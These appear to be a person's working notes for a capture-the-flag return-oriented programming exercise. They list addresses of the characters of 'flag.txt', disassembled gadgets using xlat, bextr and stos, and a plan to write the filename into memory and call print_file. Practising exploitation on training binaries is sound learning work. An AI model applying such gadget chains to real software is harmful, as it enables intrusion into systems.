Memory bytes information
=======================================================
0x00000000004003c4 : 'f'
0x0000000000400239 : 'l'
0x00000000004003d6 : 'a'
0x00000000004003cf : 'g'
0x0000000000400000 : '.'
0x0000000000400192 : 't'
0x0000000000400246 : 'x'
0x0000000000400192 : 't'

0x0000000000400610 : mov eax, 0 ; pop rbp ; ret

400628: d7                    xlat   BYTE PTR ds:[rbx]          #mov al, [rbx + al] requires rbx
***
40062a: 5a                    pop    rdx
40062b: 59                    pop    rcx
40062c: 48 81 c1 f2 3e 00 00  add    rcx,0x3ef2
400633: c4 e2 e8 f7 d9        bextr  rbx,rcx,rdx

#rdx is controller.
rdx bits 0-7: starting bit
rdx bits 8-15: length
***
400639: aa                    stos   BYTE PTR es:[rdi],al       #moves al to rdi, then adds rdi
                                                                # requires rdi (check), al



0000000000400510 : print_file@plt


0x00000000004006a3 : pop rdi ; ret


exploit:

write to memory using al as letter
  set al to zero
  set rbx to memory location
    rcx: (location - 0x3ef2) before bextr
    rdx: 0x00 0x20 (from position zero, using 32 bits)